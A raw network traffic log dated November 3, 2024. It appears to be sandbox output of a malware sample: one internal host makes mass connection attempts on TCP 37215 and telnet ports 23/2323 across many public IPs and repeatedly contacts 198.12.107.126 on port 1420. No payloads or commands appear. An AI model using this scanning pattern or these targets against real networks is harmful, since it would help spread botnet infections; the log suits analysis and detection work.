Nov 3, 2024 15:37:19.474271059 CET	35945	37215	192.168.2.14	197.134.101.186
Nov 3, 2024 15:37:19.474282980 CET	35945	37215	192.168.2.14	156.141.203.5
Nov 3, 2024 15:37:19.474306107 CET	35945	37215	192.168.2.14	156.64.161.7
Nov 3, 2024 15:37:19.474328995 CET	35945	37215	192.168.2.14	197.7.95.152
Nov 3, 2024 15:37:19.474342108 CET	35945	37215	192.168.2.14	156.236.91.242
Nov 3, 2024 15:37:19.474355936 CET	35945	37215	192.168.2.14	41.22.244.6
Nov 3, 2024 15:37:19.474375010 CET	35945	37215	192.168.2.14	197.126.71.91
Nov 3, 2024 15:37:19.474399090 CET	35945	37215	192.168.2.14	156.162.185.180
Nov 3, 2024 15:37:19.474417925 CET	35945	37215	192.168.2.14	41.191.128.164
Nov 3, 2024 15:37:19.474442005 CET	35945	37215	192.168.2.14	41.39.44.138
Nov 3, 2024 15:37:19.474453926 CET	35945	37215	192.168.2.14	156.234.7.13
Nov 3, 2024 15:37:19.474478960 CET	35945	37215	192.168.2.14	197.119.182.240
Nov 3, 2024 15:37:19.474504948 CET	35945	37215	192.168.2.14	197.143.135.240
Nov 3, 2024 15:37:19.474528074 CET	35945	37215	192.168.2.14	156.249.126.160
Nov 3, 2024 15:37:19.474540949 CET	35945	37215	192.168.2.14	156.167.99.59
Nov 3, 2024 15:37:19.474555016 CET	35945	37215	192.168.2.14	197.15.46.60
Nov 3, 2024 15:37:19.474566936 CET	35945	37215	192.168.2.14	197.27.121.119
Nov 3, 2024 15:37:19.474581003 CET	35945	37215	192.168.2.14	197.141.145.9
Nov 3, 2024 15:37:19.474592924 CET	35945	37215	192.168.2.14	41.68.231.247
Nov 3, 2024 15:37:19.474605083 CET	35945	37215	192.168.2.14	41.42.146.42
Nov 3, 2024 15:37:19.474618912 CET	35945	37215	192.168.2.14	156.138.251.56
Nov 3, 2024 15:37:19.474632025 CET	35945	37215	192.168.2.14	156.73.55.183
Nov 3, 2024 15:37:19.474656105 CET	35945	37215	192.168.2.14	41.205.88.240
Nov 3, 2024 15:37:19.481291056 CET	59170	37215	192.168.2.14	197.198.148.45
Nov 3, 2024 15:37:19.511701107 CET	23	41104	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:19.511729002 CET	1420	34720	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:19.511799097 CET	34720	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:19.511842012 CET	34720	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:19.512036085 CET	41104	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:19.512164116 CET	41734	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:19.513679981 CET	37215	34188	41.97.40.64	192.168.2.14
Nov 3, 2024 15:37:19.513689995 CET	37215	50852	41.211.34.10	192.168.2.14
Nov 3, 2024 15:37:19.513741016 CET	37215	45940	197.90.144.201	192.168.2.14
Nov 3, 2024 15:37:19.513750076 CET	37215	45932	197.100.11.182	192.168.2.14
Nov 3, 2024 15:37:19.513753891 CET	37215	43170	41.161.10.54	192.168.2.14
Nov 3, 2024 15:37:19.513762951 CET	37215	46432	41.20.81.173	192.168.2.14
Nov 3, 2024 15:37:19.513762951 CET	34188	37215	192.168.2.14	41.97.40.64
Nov 3, 2024 15:37:19.513772011 CET	37215	56800	41.235.192.220	192.168.2.14
Nov 3, 2024 15:37:19.513783932 CET	50852	37215	192.168.2.14	41.211.34.10
Nov 3, 2024 15:37:19.513788939 CET	37215	41686	197.188.33.13	192.168.2.14
Nov 3, 2024 15:37:19.513791084 CET	56800	37215	192.168.2.14	41.235.192.220
Nov 3, 2024 15:37:19.513797045 CET	45932	37215	192.168.2.14	197.100.11.182
Nov 3, 2024 15:37:19.513799906 CET	37215	45064	156.54.59.119	192.168.2.14
Nov 3, 2024 15:37:19.513809919 CET	37215	35606	197.21.175.100	192.168.2.14
Nov 3, 2024 15:37:19.513818026 CET	37215	42226	197.151.158.33	192.168.2.14
Nov 3, 2024 15:37:19.513819933 CET	46432	37215	192.168.2.14	41.20.81.173
Nov 3, 2024 15:37:19.513822079 CET	37215	57062	156.112.101.146	192.168.2.14
Nov 3, 2024 15:37:19.513833046 CET	37215	40598	41.69.242.159	192.168.2.14
Nov 3, 2024 15:37:19.513837099 CET	37215	52640	156.97.250.9	192.168.2.14
Nov 3, 2024 15:37:19.513848066 CET	45064	37215	192.168.2.14	156.54.59.119
Nov 3, 2024 15:37:19.513859034 CET	37215	55258	41.247.170.119	192.168.2.14
Nov 3, 2024 15:37:19.513869047 CET	42226	37215	192.168.2.14	197.151.158.33
Nov 3, 2024 15:37:19.513869047 CET	35606	37215	192.168.2.14	197.21.175.100
Nov 3, 2024 15:37:19.513870001 CET	57062	37215	192.168.2.14	156.112.101.146
Nov 3, 2024 15:37:19.513875961 CET	45940	37215	192.168.2.14	197.90.144.201
Nov 3, 2024 15:37:19.513878107 CET	37215	52594	197.224.117.44	192.168.2.14
Nov 3, 2024 15:37:19.513879061 CET	43170	37215	192.168.2.14	41.161.10.54
Nov 3, 2024 15:37:19.513887882 CET	52640	37215	192.168.2.14	156.97.250.9
Nov 3, 2024 15:37:19.513889074 CET	37215	48756	41.101.55.111	192.168.2.14
Nov 3, 2024 15:37:19.513899088 CET	37215	54750	156.161.87.44	192.168.2.14
Nov 3, 2024 15:37:19.513907909 CET	37215	48692	197.16.70.251	192.168.2.14
Nov 3, 2024 15:37:19.513914108 CET	55258	37215	192.168.2.14	41.247.170.119
Nov 3, 2024 15:37:19.513936996 CET	41686	37215	192.168.2.14	197.188.33.13
Nov 3, 2024 15:37:19.513948917 CET	40598	37215	192.168.2.14	41.69.242.159
Nov 3, 2024 15:37:19.513952017 CET	48692	37215	192.168.2.14	197.16.70.251
Nov 3, 2024 15:37:19.513952971 CET	52594	37215	192.168.2.14	197.224.117.44
Nov 3, 2024 15:37:19.513953924 CET	48756	37215	192.168.2.14	41.101.55.111
Nov 3, 2024 15:37:19.513953924 CET	54750	37215	192.168.2.14	156.161.87.44
Nov 3, 2024 15:37:19.514128923 CET	48692	37215	192.168.2.14	197.16.70.251
Nov 3, 2024 15:37:19.514132023 CET	37215	56968	197.111.18.97	192.168.2.14
Nov 3, 2024 15:37:19.514172077 CET	56968	37215	192.168.2.14	197.111.18.97
Nov 3, 2024 15:37:19.514185905 CET	54750	37215	192.168.2.14	156.161.87.44
Nov 3, 2024 15:37:19.514216900 CET	48756	37215	192.168.2.14	41.101.55.111
Nov 3, 2024 15:37:19.514269114 CET	52594	37215	192.168.2.14	197.224.117.44
Nov 3, 2024 15:37:19.514305115 CET	55258	37215	192.168.2.14	41.247.170.119
Nov 3, 2024 15:37:19.514341116 CET	37215	40732	197.90.159.24	192.168.2.14
Nov 3, 2024 15:37:19.514343977 CET	52640	37215	192.168.2.14	156.97.250.9
Nov 3, 2024 15:37:19.514362097 CET	40598	37215	192.168.2.14	41.69.242.159
Nov 3, 2024 15:37:19.514364004 CET	37215	35945	41.201.102.180	192.168.2.14
Nov 3, 2024 15:37:19.514374018 CET	37215	35945	156.8.251.171	192.168.2.14
Nov 3, 2024 15:37:19.514374971 CET	40732	37215	192.168.2.14	197.90.159.24
Nov 3, 2024 15:37:19.514384985 CET	42226	37215	192.168.2.14	197.151.158.33
Nov 3, 2024 15:37:19.514400005 CET	37215	35945	197.163.158.9	192.168.2.14
Nov 3, 2024 15:37:19.514400005 CET	35945	37215	192.168.2.14	41.201.102.180
Nov 3, 2024 15:37:19.514400005 CET	35945	37215	192.168.2.14	156.8.251.171
Nov 3, 2024 15:37:19.514410019 CET	37215	35945	156.224.31.241	192.168.2.14
Nov 3, 2024 15:37:19.514421940 CET	37215	35945	197.125.163.29	192.168.2.14
Nov 3, 2024 15:37:19.514431000 CET	37215	59170	197.198.148.45	192.168.2.14
Nov 3, 2024 15:37:19.514451027 CET	35945	37215	192.168.2.14	197.125.163.29
Nov 3, 2024 15:37:19.514451981 CET	35945	37215	192.168.2.14	197.163.158.9
Nov 3, 2024 15:37:19.514455080 CET	35945	37215	192.168.2.14	156.224.31.241
Nov 3, 2024 15:37:19.514476061 CET	59170	37215	192.168.2.14	197.198.148.45
Nov 3, 2024 15:37:19.514504910 CET	57062	37215	192.168.2.14	156.112.101.146
Nov 3, 2024 15:37:19.514519930 CET	35606	37215	192.168.2.14	197.21.175.100
Nov 3, 2024 15:37:19.514552116 CET	45064	37215	192.168.2.14	156.54.59.119
Nov 3, 2024 15:37:19.514559031 CET	41686	37215	192.168.2.14	197.188.33.13
Nov 3, 2024 15:37:19.514583111 CET	56800	37215	192.168.2.14	41.235.192.220
Nov 3, 2024 15:37:19.514599085 CET	46432	37215	192.168.2.14	41.20.81.173
Nov 3, 2024 15:37:19.514635086 CET	45932	37215	192.168.2.14	197.100.11.182
Nov 3, 2024 15:37:19.514661074 CET	43170	37215	192.168.2.14	41.161.10.54
Nov 3, 2024 15:37:19.514689922 CET	45940	37215	192.168.2.14	197.90.144.201
Nov 3, 2024 15:37:19.514717102 CET	50852	37215	192.168.2.14	41.211.34.10
Nov 3, 2024 15:37:19.514735937 CET	34188	37215	192.168.2.14	41.97.40.64
Nov 3, 2024 15:37:19.514879942 CET	57334	37215	192.168.2.14	41.201.102.180
Nov 3, 2024 15:37:19.514940977 CET	39920	37215	192.168.2.14	156.8.251.171
Nov 3, 2024 15:37:19.514945030 CET	42200	37215	192.168.2.14	197.163.158.9
Nov 3, 2024 15:37:19.514971972 CET	42528	37215	192.168.2.14	156.224.31.241
Nov 3, 2024 15:37:19.515011072 CET	51626	37215	192.168.2.14	197.125.163.29
Nov 3, 2024 15:37:19.515058041 CET	40732	37215	192.168.2.14	197.90.159.24
Nov 3, 2024 15:37:19.515078068 CET	56968	37215	192.168.2.14	197.111.18.97
Nov 3, 2024 15:37:19.515093088 CET	59170	37215	192.168.2.14	197.198.148.45
Nov 3, 2024 15:37:19.516910076 CET	23	41104	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:19.516948938 CET	23	41734	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:19.516993999 CET	41734	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:19.518775940 CET	35366	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:19.519735098 CET	37215	56800	41.235.192.220	192.168.2.14
Nov 3, 2024 15:37:19.519752979 CET	37215	57334	41.201.102.180	192.168.2.14
Nov 3, 2024 15:37:19.519789934 CET	56800	37215	192.168.2.14	41.235.192.220
Nov 3, 2024 15:37:19.519799948 CET	57334	37215	192.168.2.14	41.201.102.180
Nov 3, 2024 15:37:19.519835949 CET	57334	37215	192.168.2.14	41.201.102.180
Nov 3, 2024 15:37:19.519835949 CET	57334	37215	192.168.2.14	41.201.102.180
Nov 3, 2024 15:37:19.519838095 CET	57346	37215	192.168.2.14	41.201.102.180
Nov 3, 2024 15:37:19.520118952 CET	37215	50852	41.211.34.10	192.168.2.14
Nov 3, 2024 15:37:19.520133972 CET	37215	34188	41.97.40.64	192.168.2.14
Nov 3, 2024 15:37:19.520153046 CET	37215	45932	197.100.11.182	192.168.2.14
Nov 3, 2024 15:37:19.520157099 CET	50852	37215	192.168.2.14	41.211.34.10
Nov 3, 2024 15:37:19.520173073 CET	34188	37215	192.168.2.14	41.97.40.64
Nov 3, 2024 15:37:19.520189047 CET	45932	37215	192.168.2.14	197.100.11.182
Nov 3, 2024 15:37:19.520339012 CET	37215	46432	41.20.81.173	192.168.2.14
Nov 3, 2024 15:37:19.520378113 CET	46432	37215	192.168.2.14	41.20.81.173
Nov 3, 2024 15:37:19.520525932 CET	37215	45064	156.54.59.119	192.168.2.14
Nov 3, 2024 15:37:19.520561934 CET	45064	37215	192.168.2.14	156.54.59.119
Nov 3, 2024 15:37:19.520750046 CET	37215	42226	197.151.158.33	192.168.2.14
Nov 3, 2024 15:37:19.520787954 CET	42226	37215	192.168.2.14	197.151.158.33
Nov 3, 2024 15:37:19.521133900 CET	37215	35606	197.21.175.100	192.168.2.14
Nov 3, 2024 15:37:19.521177053 CET	35606	37215	192.168.2.14	197.21.175.100
Nov 3, 2024 15:37:19.521339893 CET	37215	45940	197.90.144.201	192.168.2.14
Nov 3, 2024 15:37:19.521385908 CET	45940	37215	192.168.2.14	197.90.144.201
Nov 3, 2024 15:37:19.521414995 CET	37215	57062	156.112.101.146	192.168.2.14
Nov 3, 2024 15:37:19.521450996 CET	57062	37215	192.168.2.14	156.112.101.146
Nov 3, 2024 15:37:19.521526098 CET	37215	43170	41.161.10.54	192.168.2.14
Nov 3, 2024 15:37:19.521569014 CET	43170	37215	192.168.2.14	41.161.10.54
Nov 3, 2024 15:37:19.521656990 CET	37215	52640	156.97.250.9	192.168.2.14
Nov 3, 2024 15:37:19.521696091 CET	52640	37215	192.168.2.14	156.97.250.9
Nov 3, 2024 15:37:19.521703959 CET	37215	55258	41.247.170.119	192.168.2.14
Nov 3, 2024 15:37:19.521740913 CET	55258	37215	192.168.2.14	41.247.170.119
Nov 3, 2024 15:37:19.521759033 CET	37215	41686	197.188.33.13	192.168.2.14
Nov 3, 2024 15:37:19.521799088 CET	41686	37215	192.168.2.14	197.188.33.13
Nov 3, 2024 15:37:19.521976948 CET	37215	59170	197.198.148.45	192.168.2.14
Nov 3, 2024 15:37:19.521985054 CET	37215	40598	41.69.242.159	192.168.2.14
Nov 3, 2024 15:37:19.521997929 CET	37215	52594	197.224.117.44	192.168.2.14
Nov 3, 2024 15:37:19.522006989 CET	37215	56968	197.111.18.97	192.168.2.14
Nov 3, 2024 15:37:19.522016048 CET	37215	40732	197.90.159.24	192.168.2.14
Nov 3, 2024 15:37:19.522033930 CET	37215	48756	41.101.55.111	192.168.2.14
Nov 3, 2024 15:37:19.522043943 CET	37215	54750	156.161.87.44	192.168.2.14
Nov 3, 2024 15:37:19.522072077 CET	37215	48692	197.16.70.251	192.168.2.14
Nov 3, 2024 15:37:19.522080898 CET	37215	40598	41.69.242.159	192.168.2.14
Nov 3, 2024 15:37:19.522088051 CET	37215	48692	197.16.70.251	192.168.2.14
Nov 3, 2024 15:37:19.522114038 CET	40598	37215	192.168.2.14	41.69.242.159
Nov 3, 2024 15:37:19.522115946 CET	48692	37215	192.168.2.14	197.16.70.251
Nov 3, 2024 15:37:19.522183895 CET	37215	52594	197.224.117.44	192.168.2.14
Nov 3, 2024 15:37:19.522222042 CET	52594	37215	192.168.2.14	197.224.117.44
Nov 3, 2024 15:37:19.522299051 CET	37215	48756	41.101.55.111	192.168.2.14
Nov 3, 2024 15:37:19.522341013 CET	48756	37215	192.168.2.14	41.101.55.111
Nov 3, 2024 15:37:19.522417068 CET	37215	54750	156.161.87.44	192.168.2.14
Nov 3, 2024 15:37:19.522455931 CET	54750	37215	192.168.2.14	156.161.87.44
Nov 3, 2024 15:37:19.522480965 CET	37215	56968	197.111.18.97	192.168.2.14
Nov 3, 2024 15:37:19.522516012 CET	56968	37215	192.168.2.14	197.111.18.97
Nov 3, 2024 15:37:19.522576094 CET	37215	40732	197.90.159.24	192.168.2.14
Nov 3, 2024 15:37:19.522618055 CET	40732	37215	192.168.2.14	197.90.159.24
Nov 3, 2024 15:37:19.523166895 CET	37215	59170	197.198.148.45	192.168.2.14
Nov 3, 2024 15:37:19.523216963 CET	59170	37215	192.168.2.14	197.198.148.45
Nov 3, 2024 15:37:19.523514032 CET	23	41734	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:19.523574114 CET	41734	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:19.523581982 CET	41750	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:19.524955988 CET	37215	57334	41.201.102.180	192.168.2.14
Nov 3, 2024 15:37:19.525041103 CET	37215	57346	41.201.102.180	192.168.2.14
Nov 3, 2024 15:37:19.525078058 CET	57346	37215	192.168.2.14	41.201.102.180
Nov 3, 2024 15:37:19.525118113 CET	57346	37215	192.168.2.14	41.201.102.180
Nov 3, 2024 15:37:19.525393963 CET	37215	57334	41.201.102.180	192.168.2.14
Nov 3, 2024 15:37:19.528367043 CET	23	41734	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:19.530298948 CET	37215	57346	41.201.102.180	192.168.2.14
Nov 3, 2024 15:37:19.530340910 CET	57346	37215	192.168.2.14	41.201.102.180
Nov 3, 2024 15:37:19.577251911 CET	43806	23	192.168.2.14	77.111.235.119
Nov 3, 2024 15:37:19.577431917 CET	51204	2323	192.168.2.14	90.74.165.178
Nov 3, 2024 15:37:19.577431917 CET	32810	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:19.577435970 CET	34422	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.582273006 CET	23	43806	77.111.235.119	192.168.2.14
Nov 3, 2024 15:37:19.582284927 CET	2323	51204	90.74.165.178	192.168.2.14
Nov 3, 2024 15:37:19.582310915 CET	23	34422	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.582319975 CET	23	32810	83.55.127.80	192.168.2.14
Nov 3, 2024 15:37:19.582365990 CET	43806	23	192.168.2.14	77.111.235.119
Nov 3, 2024 15:37:19.582386017 CET	51204	2323	192.168.2.14	90.74.165.178
Nov 3, 2024 15:37:19.582413912 CET	34422	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.582423925 CET	32810	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:19.588109970 CET	23	34422	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.588160038 CET	23	32810	83.55.127.80	192.168.2.14
Nov 3, 2024 15:37:19.588254929 CET	32810	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:19.588325977 CET	32954	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:19.588359118 CET	34422	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.588381052 CET	34566	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.593296051 CET	23	32810	83.55.127.80	192.168.2.14
Nov 3, 2024 15:37:19.593307018 CET	23	32954	83.55.127.80	192.168.2.14
Nov 3, 2024 15:37:19.593323946 CET	23	34422	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.593333960 CET	23	34566	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.593369007 CET	32954	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:19.593389034 CET	34566	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.598592997 CET	23	34566	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.598732948 CET	34566	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.598776102 CET	34568	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.603595972 CET	23	34566	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.603606939 CET	23	34568	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.603657007 CET	34568	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.608851910 CET	23	34568	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.608959913 CET	34568	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.608982086 CET	34570	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.613887072 CET	23	34568	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.613898039 CET	23	34570	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.613948107 CET	34570	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.619132042 CET	23	34570	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.619232893 CET	34570	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.619256973 CET	34572	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.624252081 CET	23	34570	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.624262094 CET	23	34572	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:19.624304056 CET	34572	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:19.975837946 CET	23	53202	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:19.976006031 CET	53202	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:19.976039886 CET	53342	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:19.980912924 CET	23	53202	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:19.980922937 CET	23	53342	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:19.980983973 CET	53342	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:20.180485964 CET	37215	50894	197.213.145.152	192.168.2.14
Nov 3, 2024 15:37:20.180583954 CET	50894	37215	192.168.2.14	197.213.145.152
Nov 3, 2024 15:37:20.217236996 CET	54780	23	192.168.2.14	82.179.1.22
Nov 3, 2024 15:37:20.217248917 CET	53204	23	192.168.2.14	114.56.113.73
Nov 3, 2024 15:37:20.217261076 CET	45772	23	192.168.2.14	211.167.163.250
Nov 3, 2024 15:37:20.217273951 CET	33858	23	192.168.2.14	98.45.148.70
Nov 3, 2024 15:37:20.217313051 CET	33730	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:20.217314005 CET	58582	23	192.168.2.14	63.90.192.76
Nov 3, 2024 15:37:20.217314959 CET	38464	23	192.168.2.14	194.101.242.236
Nov 3, 2024 15:37:20.217314959 CET	39042	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:20.217329979 CET	45704	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:20.217331886 CET	37146	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:20.217341900 CET	38440	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:20.217365980 CET	52236	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:20.217365980 CET	53454	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:20.217385054 CET	34488	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:20.217385054 CET	44160	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:20.217390060 CET	41760	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:20.217398882 CET	49076	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:20.217417002 CET	40070	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:20.217427015 CET	51574	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:20.217434883 CET	51352	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:20.217447042 CET	50314	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:20.217459917 CET	55362	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:20.217466116 CET	41406	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:20.217478991 CET	57008	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:20.217494011 CET	53250	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:20.217504978 CET	56366	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:20.217514038 CET	38304	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:20.217535019 CET	52492	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:20.217535973 CET	43888	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:20.217536926 CET	50162	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:20.217554092 CET	35086	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:20.217564106 CET	37506	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:20.217573881 CET	48676	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:20.217587948 CET	40480	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:20.217600107 CET	53592	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:20.217612028 CET	33436	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:20.217617989 CET	43032	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:20.217629910 CET	51916	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:20.217643976 CET	59470	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:20.217654943 CET	36538	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:20.217655897 CET	60052	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:20.217681885 CET	52390	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:20.217681885 CET	42718	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:20.217681885 CET	43634	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:20.217699051 CET	45472	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:20.217713118 CET	39234	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:20.217719078 CET	56254	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:20.217732906 CET	49078	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:20.217745066 CET	60356	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:20.217756033 CET	51662	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:20.217767954 CET	34356	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:20.217778921 CET	42926	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:20.217792988 CET	46404	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:20.217802048 CET	53590	23	192.168.2.14	9.100.226.225
Nov 3, 2024 15:37:20.217822075 CET	32950	23	192.168.2.14	180.136.220.145
Nov 3, 2024 15:37:20.217833996 CET	60162	23	192.168.2.14	8.127.170.172
Nov 3, 2024 15:37:20.217845917 CET	46384	23	192.168.2.14	71.215.194.126
Nov 3, 2024 15:37:20.217856884 CET	50520	23	192.168.2.14	48.144.211.27
Nov 3, 2024 15:37:20.217856884 CET	40836	23	192.168.2.14	40.112.119.143
Nov 3, 2024 15:37:20.222212076 CET	23	54780	82.179.1.22	192.168.2.14
Nov 3, 2024 15:37:20.222311020 CET	54780	23	192.168.2.14	82.179.1.22
Nov 3, 2024 15:37:20.222316027 CET	23	53204	114.56.113.73	192.168.2.14
Nov 3, 2024 15:37:20.222326994 CET	23	45772	211.167.163.250	192.168.2.14
Nov 3, 2024 15:37:20.222337008 CET	23	33858	98.45.148.70	192.168.2.14
Nov 3, 2024 15:37:20.222347021 CET	23	38464	194.101.242.236	192.168.2.14
Nov 3, 2024 15:37:20.222357035 CET	23	33730	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:20.222366095 CET	53204	23	192.168.2.14	114.56.113.73
Nov 3, 2024 15:37:20.222366095 CET	45772	23	192.168.2.14	211.167.163.250
Nov 3, 2024 15:37:20.222368002 CET	23	58582	63.90.192.76	192.168.2.14
Nov 3, 2024 15:37:20.222378969 CET	2323	39042	192.84.103.134	192.168.2.14
Nov 3, 2024 15:37:20.222379923 CET	33858	23	192.168.2.14	98.45.148.70
Nov 3, 2024 15:37:20.222381115 CET	38464	23	192.168.2.14	194.101.242.236
Nov 3, 2024 15:37:20.222392082 CET	23	45704	90.135.11.2	192.168.2.14
Nov 3, 2024 15:37:20.222403049 CET	23	37146	223.68.115.148	192.168.2.14
Nov 3, 2024 15:37:20.222417116 CET	58582	23	192.168.2.14	63.90.192.76
Nov 3, 2024 15:37:20.222420931 CET	33730	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:20.222420931 CET	45704	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:20.222433090 CET	39042	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:20.222455978 CET	37146	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:20.222539902 CET	36201	2323	192.168.2.14	142.88.2.24
Nov 3, 2024 15:37:20.222548962 CET	36201	23	192.168.2.14	154.59.206.229
Nov 3, 2024 15:37:20.222575903 CET	36201	23	192.168.2.14	207.248.109.39
Nov 3, 2024 15:37:20.222599983 CET	36201	23	192.168.2.14	123.82.226.32
Nov 3, 2024 15:37:20.222624063 CET	36201	23	192.168.2.14	102.201.182.145
Nov 3, 2024 15:37:20.222650051 CET	36201	23	192.168.2.14	191.37.236.50
Nov 3, 2024 15:37:20.222662926 CET	36201	23	192.168.2.14	31.83.221.99
Nov 3, 2024 15:37:20.222687006 CET	36201	23	192.168.2.14	118.178.237.48
Nov 3, 2024 15:37:20.222697020 CET	36201	23	192.168.2.14	14.94.19.84
Nov 3, 2024 15:37:20.222723961 CET	36201	23	192.168.2.14	118.175.173.39
Nov 3, 2024 15:37:20.222737074 CET	36201	2323	192.168.2.14	67.33.196.90
Nov 3, 2024 15:37:20.222845078 CET	36201	23	192.168.2.14	177.193.56.28
Nov 3, 2024 15:37:20.222853899 CET	23	38440	210.39.80.43	192.168.2.14
Nov 3, 2024 15:37:20.222865105 CET	23	52236	58.59.189.111	192.168.2.14
Nov 3, 2024 15:37:20.222866058 CET	36201	23	192.168.2.14	13.153.101.16
Nov 3, 2024 15:37:20.222867012 CET	36201	23	192.168.2.14	67.61.72.188
Nov 3, 2024 15:37:20.222877026 CET	23	53454	175.36.88.60	192.168.2.14
Nov 3, 2024 15:37:20.222878933 CET	36201	23	192.168.2.14	103.146.120.196
Nov 3, 2024 15:37:20.222887993 CET	23	34488	142.90.110.28	192.168.2.14
Nov 3, 2024 15:37:20.222904921 CET	52236	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:20.222904921 CET	53454	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:20.222907066 CET	23	44160	39.129.254.10	192.168.2.14
Nov 3, 2024 15:37:20.222909927 CET	38440	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:20.222920895 CET	36201	23	192.168.2.14	93.110.27.101
